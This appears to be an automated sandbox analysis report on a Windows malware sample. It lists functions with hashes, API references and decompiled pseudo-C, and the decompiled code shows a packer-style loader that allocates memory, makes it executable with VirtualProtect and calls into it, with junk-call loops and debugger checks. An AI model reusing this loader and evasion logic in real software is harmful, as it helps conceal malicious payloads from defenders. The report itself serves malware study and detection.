API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 00424168, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00480620, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 004242A7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C,?,00427F58,00000003,00428BB9,00507BD0,00000008,00428B0E,i;B), ref: 004242B0
__invoke_watson.LIBCMT ref: 004242CC

Strings

i;B, xrefs: 004242C9

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: DecodePointer__invoke_watson
String ID: i;B
API String ID: 4034010525-472376889
Opcode ID: 861cb4a8f49b93517597d00acdac5812cd007012726ad0a3f4681ad684a4087f
Instruction ID: 4f0f565c0ac0667cc87bbfc5f091dd064a73676b217a34b06ab6fef57441037f
Opcode Fuzzy Hash: 861cb4a8f49b93517597d00acdac5812cd007012726ad0a3f4681ad684a4087f
Instruction Fuzzy Hash: D2E0EC31510119FBDF012FA2EC05DAA3B69FF44294B8044A5FE1480171D776C870ABA9

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F25B, 0044F247

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ZZGJ1bZClw.exe PID: 7064 Parent PID: 6604 ZZGJ1bZClw.exeCOMMON

Executed Functions

Function 00401337, Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 130
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00401337(void* __edx) {
				struct tagPOINT _v12;
				void* _v28;
				struct _OVERLAPPED _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HINSTANCE__* _t7;
				intOrPtr _t11;
				void* _t16;
				void* _t30;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t40;
				void* _t41;
				void* _t42;
				void* _t43;
				void* _t44;
				void* _t54;

				_t40 = __edx;
				_t50 =  *0x5233fc - 0x20a;
				if( *0x5233fc == 0x20a) {
					WaitForSingleObject(0, 0);
					E0040154F(_t37, _t40, _t41, 0);
					_pop(_t39);
					_push(0);
					_push(0);
					E00401824(_t37, _t40, _t41, 0, _t50);
					_push(0);
					E004017B6(_t37, _t40, _t41, 0, _t50);
					_push(0);
					_push(0);
					_push(0);
					E00401AC9(_t37, _t40, _t41, 0, _t50);
				}
				E00401323();
				_t7 = GetModuleHandleA("kernel32.dll");
				 *0x5183c4 = _t7;
				 *0x5151cc = GetProcAddress(_t7, "LocalAlloc");
				E004012CE(); // executed
				E004012E2(_t39); // executed
				_t42 = 0;
				L3:
				L3:
				if(_t42 < 0x50a28) {
					_push(_v12.y);
					RealChildWindowFromPoint(0, _v12);
				}
				if(_t42 > 0x1ee9e70e) {
					goto L9;
				}
				_t42 = _t42 + 1;
				_t30 = _t42;
				asm("cdq");
				_t54 = _t40 - 0x41;
				if(_t54 < 0 || _t54 <= 0 && _t30 < 0x8dd09611) {
					goto L3;
				}
				L9:
				_t11 =  *0x4a09dc; // 0x356305
				 *0x523400 = _t11;
				E00401293(_t39);
				_t43 = 0;
				if( *0x5233fc > 0) {
					do {
						if( *0x5233fc == 0x44) {
							WriteConsoleW(0, 0, 0, 0, 0);
							GetCommandLineW();
						}
						_t43 = _t43 + 1;
					} while (_t43 <  *0x5233fc);
				}
				_t44 = 0;
				do {
					if( *0x5233fc + _t44 == 0x5e) {
						LocalSize(0);
						GetFileAttributesW(0);
					}
					_t44 = _t44 + 1;
				} while (_t44 < 0x40c893);
				E0040122C();
				_t16 = 0;
				do {
					if(_t16 == 0x5604) {
						 *0x5151c8 =  *0x5151c8;
					}
					_t16 = _t16 + 1;
				} while (_t16 < 0x89b2159a);
				_t38 = 0x7b;
				do {
					if( *0x5233fc == 0x89) {
						RemoveDirectoryW(L"gadahupizoriyegatagi");
						_v32.Internal = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						WriteFileGather(0, 0, 0, 0,  &_v32);
						DeregisterEventSource(0);
						CancelDeviceWakeupRequest(0);
						CloseEventLog(0);
						GetCharWidthFloatW(0, 0, 0, 0);
					}
					_t38 = _t38 - 1;
				} while (_t38 != 0);
				return  *0x5151c8();
			}

0x00401337
0x00401341
0x0040134c
0x00401350
0x00401357
0x0040135c
0x0040135d
0x0040135e
0x0040135f
0x00401364
0x00401365
0x0040136d
0x0040136e
0x0040136f
0x00401370
0x00401375
0x00401378
0x00401382
0x0040138e
0x00401399
0x0040139e
0x004013a3
0x004013a8
0x00000000
0x004013aa
0x004013b0
0x004013b2
0x004013b9
0x004013b9
0x004013c5
0x00000000
0x00000000
0x004013c7
0x004013c8
0x004013ca
0x004013cb
0x004013ce
0x00000000
0x00000000
0x004013d9
0x004013d9
0x004013de
0x004013e3
0x004013e8
0x004013f0
0x004013f2
0x004013f9
0x00401400
0x00401406
0x00401406
0x0040140c
0x0040140d
0x004013f2
0x00401415
0x00401417
0x00401421
0x00401424
0x0040142b
0x0040142b
0x00401431
0x00401432
0x0040143a
0x0040143f
0x00401441
0x00401446
0x00401448
0x00401448
0x00401452
0x00401453
0x0040145c
0x0040145d
0x00401467
0x0040146e
0x00401476
0x0040147c
0x0040147d
0x0040147e
0x0040147f
0x00401488
0x0040148f
0x00401496
0x0040149d
0x004014a7
0x004014a7
0x004014ad
0x004014ad
0x004014ba

APIs

WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00401350
_malloc.LIBCMT ref: 00401357

Part of subcall function 0040154F: __FF_MSGBANNER.LIBCMT ref: 00401572
Part of subcall function 0040154F: __NMSG_WRITE.LIBCMT ref: 00401579
Part of subcall function 0040154F: RtlAllocateHeap.NTDLL(00000000,?,?,?,00000000,?,0040135C,00000000), ref: 004015C6

_realloc.LIBCMT ref: 0040135F

Part of subcall function 00401824: _malloc.LIBCMT ref: 0040183A

_ftell.LIBCMT ref: 00401365
_fseek.LIBCMT ref: 00401370
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00401382
GetProcAddress.KERNEL32(00000000,LocalAlloc), ref: 00401393
RealChildWindowFromPoint.USER32(00000000,?,?), ref: 004013B9
WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00401400
GetCommandLineW.KERNEL32 ref: 00401406
LocalSize.KERNEL32 ref: 00401424
GetFileAttributesW.KERNEL32(00000000), ref: 0040142B
RemoveDirectoryW.KERNEL32(gadahupizoriyegatagi), ref: 0040146E
WriteFileGather.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 00401488
DeregisterEventSource.ADVAPI32(00000000), ref: 0040148F
CancelDeviceWakeupRequest.KERNEL32(00000000), ref: 00401496
CloseEventLog.ADVAPI32(00000000), ref: 0040149D
GetCharWidthFloatW.GDI32(00000000,00000000,00000000,00000000), ref: 004014A7

Strings

kernel32.dll, xrefs: 0040137D
gadahupizoriyegatagi, xrefs: 00401469
LocalAlloc, xrefs: 00401388

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: EventFileWrite_malloc$AddressAllocateAttributesCancelCharChildCloseCommandConsoleDeregisterDeviceDirectoryFloatFromGatherHandleHeapLineLocalModuleObjectPointProcRealRemoveRequestSingleSizeSourceWaitWakeupWidthWindow_fseek_ftell_realloc
String ID: LocalAlloc$gadahupizoriyegatagi$kernel32.dll
API String ID: 661548273-3778794679
Opcode ID: 0107b59e09d8410639f74915269d752fbd7af035d9d3401a1eca35291701030b
Instruction ID: 8c9ea40a5775393075aeff76ca82826fd86d7abfdec7b3e7227083bce1d71ac7
Opcode Fuzzy Hash: 0107b59e09d8410639f74915269d752fbd7af035d9d3401a1eca35291701030b
Instruction Fuzzy Hash: 2F31DE32901620BBD7216BA6BD4D9AF3A68EF66355B00443BF515E11B0DB3C4606CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 004012E2, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004012E2(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;

				 *0x4bcb84 = GetProcAddress( *0x5183c4, "VirtualProtect");
				_v8 = 0x20;
				_v8 = _v8 + 0x20;
				_t8 = VirtualProtect( *0x5151c8,  *0x5233fc, _v8,  &_v12); // executed
				return _t8;
			}

0x004012f8
0x004012fd
0x00401304
0x0040131b
0x00401322

APIs

GetProcAddress.KERNEL32(VirtualProtect), ref: 004012F2
VirtualProtect.KERNELBASE(00000020,?), ref: 0040131B

Strings

VirtualProtect, xrefs: 004012E7
, xrefs: 00401304

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProcProtectVirtual
String ID: $VirtualProtect
API String ID: 3759838892-947944765
Opcode ID: 35ee6ce661b0b9e33c880db4c9a464a8deee1d8641ea6c433d7abee12a22f42f
Instruction ID: c78f1d7a504c9433a2c47bd11628595e9aa5f67f72cabb778cdcacb287879d27
Opcode Fuzzy Hash: 35ee6ce661b0b9e33c880db4c9a464a8deee1d8641ea6c433d7abee12a22f42f
Instruction Fuzzy Hash: A7E0B6B5840208FFDB15CFD0FE8AA9D7BB9EB15714B108565E50091170E7B26A14EF24

Uniqueness

Uniqueness Score: -1.00%

Function 004014BB, Relevance: 4.5, APIs: 3, Instructions: 20
timeCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E004014BB(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t1;
				void* _t7;

				_t1 =  *0x4a0b7c; // 0xfffde355
				 *0x5233fc = _t1;
				if(_t1 == 0xc) {
					GetSystemTime(0);
					_push(0);
					E004017B6(__ebx, _t7, __edi, 0, 0);
					_push(0);
					_push(0);
					_push(0);
					E00401AC9(__ebx, _t7, __edi, 0, 0);
				}
				 *0x5233fc =  *0x5233fc + 0xb2d3b; // executed
				E00401337(_t7); // executed
				return 0;
			}

0x004014bb
0x004014c0
0x004014c8
0x004014ce
0x004014d4
0x004014d5
0x004014da
0x004014db
0x004014dc
0x004014dd
0x004014e5
0x004014e6
0x004014f0
0x004014f7

APIs

GetSystemTime.KERNEL32(00000000), ref: 004014CE
_ftell.LIBCMT ref: 004014D5
_fseek.LIBCMT ref: 004014DD

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: SystemTime_fseek_ftell
String ID:
API String ID: 3547134071-0
Opcode ID: 95ab16200de81771442e6ba1a794742b24cf1413423852d95d36b997a2d56e51
Instruction ID: 53be54c691e86fe260a22ff7533ac9d72a826490f76507f7bf1d2dd40d6a379e
Opcode Fuzzy Hash: 95ab16200de81771442e6ba1a794742b24cf1413423852d95d36b997a2d56e51
Instruction Fuzzy Hash: 5ED0127180203457C330FF769C89DCB3A98EE27358740492FF454A11A1DB3C8611DAED

Uniqueness

Uniqueness Score: -1.00%

Function 0219D7C6, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 0219D80E

Memory Dump Source

Source File: 00000004.00000002.386891447.000000000219D000.00000040.00000001.sdmp, Offset: 0219D000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 835646909770b6eafbf2dc219179dce2f2bd92e55eeb67cf41822fe89f3b35db
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: B3F096312407106FDB203BF5B88DBAE76E8BF49669F100538E643914C1DB70E8458A61

Uniqueness

Uniqueness Score: -1.00%

Function 00402B5C, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B5C(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4a0ea4 = _t6;
				if(_t6 != 0) {
					 *0x524558 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x00402b71
0x00402b77
0x00402b7e
0x00402b85
0x00402b8b
0x00402b81
0x00402b81
0x00402b81

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00402B71

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 877e8a5ddd78c1ab44c1ebe6bd7867f6cf2135113067c4f0da188d5875027f17
Instruction ID: c558436253535b01a090417ba84307744a8fa4b3ec522e92988613059819d264
Opcode Fuzzy Hash: 877e8a5ddd78c1ab44c1ebe6bd7867f6cf2135113067c4f0da188d5875027f17
Instruction Fuzzy Hash: 42D05E726503855FDB105F747D09B233BDCD7943A6F144436B85CC6190E6B4D990D644

Uniqueness

Uniqueness Score: -1.00%

Function 0040450E, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040450E() {
				void* _t1;

				_t1 = E0040449C(0); // executed
				return _t1;
			}

0x00404510
0x00404516

APIs

__encode_pointer.LIBCMT ref: 00404510

Part of subcall function 0040449C: TlsGetValue.KERNEL32(00000000,?,00404515,00000000,00405626,004A0EE0,00000000,00000314,?,00403033,004A0EE0,Microsoft Visual C++ Runtime Library,00012010), ref: 004044AE
Part of subcall function 0040449C: TlsGetValue.KERNEL32(00000005,?,00404515,00000000,00405626,004A0EE0,00000000,00000314,?,00403033,004A0EE0,Microsoft Visual C++ Runtime Library,00012010), ref: 004044C5
Part of subcall function 0040449C: RtlEncodePointer.NTDLL(00000000,?,00404515,00000000,00405626,004A0EE0,00000000,00000314,?,00403033,004A0EE0,Microsoft Visual C++ Runtime Library,00012010), ref: 00404503

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: ec1ffbd407f6e15b7326b24eadbc5d097aa7cb4c9fd274c69c20e88cf90c70d6
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0219D485, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0219D4D6

Memory Dump Source

Source File: 00000004.00000002.386891447.000000000219D000.00000040.00000001.sdmp, Offset: 0219D000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 9853ca1a0da901d5bbf9f6b058a35ce4ed411c2e1cf67a7dfe159f76de42c273
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: ED113979A40208EFDB01DF98C985E99BBF5AF08350F0580A4F9489B361D371EA90EF80

Uniqueness

Uniqueness Score: -1.00%

Function 004012CE, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004012CE() {
				void* _t1;

				_t1 = GlobalAlloc(0,  *0x5233fc); // executed
				 *0x5151c8 = _t1;
				return _t1;
			}

0x004012d6
0x004012dc
0x004012e1

APIs

GlobalAlloc.KERNELBASE(00000000,004013A3), ref: 004012D6

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: c753dd82ac30a5d0df80bf9c68c74b85c5b32a4b7c04bb804a41481ccb01875e
Instruction ID: 8c3648c28db7440ccb1d968937aac78da82c2db79986cc24e1a440273c757e7a
Opcode Fuzzy Hash: c753dd82ac30a5d0df80bf9c68c74b85c5b32a4b7c04bb804a41481ccb01875e
Instruction Fuzzy Hash: 29B01270481300EBC7414F50BC4A7003A70F774312F004461E50440170DB320148FB00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404F85, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00404F85(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x49f640; // 0xefd1e709
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x4a14b0 = _t6;
				 *0x4a14ac = _t22;
				 *0x4a14a8 = _t25;
				 *0x4a14a4 = _t21;
				 *0x4a14a0 = _t27;
				 *0x4a149c = _t26;
				 *0x4a14c8 = ss;
				 *0x4a14bc = cs;
				 *0x4a1498 = ds;
				 *0x4a1494 = es;
				 *0x4a1490 = fs;
				 *0x4a148c = gs;
				asm("pushfd");
				_pop( *0x4a14c0);
				 *0x4a14b4 =  *_t31;
				 *0x4a14b8 = _v0;
				 *0x4a14c4 =  &_a4;
				 *0x4a1400 = 0x10001;
				_t11 =  *0x4a14b8; // 0x0
				 *0x4a13b4 = _t11;
				 *0x4a13a8 = 0xc0000409;
				 *0x4a13ac = 1;
				_t12 =  *0x49f640; // 0xefd1e709
				_v812 = _t12;
				_t13 =  *0x49f644; // 0x102e18f6
				_v808 = _t13;
				 *0x4a13f8 = IsDebuggerPresent();
				_push(1);
				E00405BB2(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x49b9b0);
				if( *0x4a13f8 == 0) {
					_push(1);
					E00405BB2(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

APIs

IsDebuggerPresent.KERNEL32 ref: 004074C5
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004074DA
UnhandledExceptionFilter.KERNEL32(0049B9B0), ref: 004074E5
GetCurrentProcess.KERNEL32(C0000409), ref: 00407501
TerminateProcess.KERNEL32(00000000), ref: 00407508

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 4e8587bd651ec5d59a2d926c737b6dbb21d5cd930fd85bf5b02303ed1e124dcc
Instruction ID: 646911415bf6f18d06ff63dcbe03caf4eb0081ae590ecd26cf3788d257310c2c
Opcode Fuzzy Hash: 4e8587bd651ec5d59a2d926c737b6dbb21d5cd930fd85bf5b02303ed1e124dcc
Instruction Fuzzy Hash: 0621FDB88043159FD700DF18FD49A953FA4FB2E354F50813AE809872B1E3B459858B5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040102E, Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 155
filestringsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040102E(unsigned int* _a4) {
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				struct _CRITICAL_SECTION _v72;
				char _v136;
				char _v1160;
				short _v2184;
				short _v4232;
				unsigned int* _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t64;
				signed int _t72;
				unsigned int* _t87;
				unsigned int _t113;
				unsigned int _t114;

				E00407D30(0x1088);
				_t54 = _a4;
				_t114 =  *_t54;
				_t113 = _t54[1];
				if( *0x5233fc == 0x134) {
					SizeofResource(0, 0);
					WaitForSingleObject(0, 0);
					SetConsoleCP(0);
					SetEvent(0);
					EnterCriticalSection( &_v72);
					__imp__FreeUserPhysicalPages(0,  &_v32, 0);
				}
				_v12 = 0;
